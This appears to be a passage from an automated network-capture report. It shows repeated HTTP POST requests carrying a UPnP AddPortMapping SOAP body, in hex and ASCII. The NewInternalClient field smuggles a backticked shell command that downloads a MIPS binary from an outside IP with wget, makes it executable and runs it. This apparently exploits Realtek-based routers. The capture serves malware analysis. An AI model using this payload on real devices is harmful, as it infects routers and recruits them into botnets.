69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:57.082916975 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.314107895 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      4192.168.2.154964845.33.253.12152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:26.891793966 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      5192.168.2.153432245.126.229.13352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:27.050776958 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:27.899714947 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:28.891674042 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:30.843753099 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
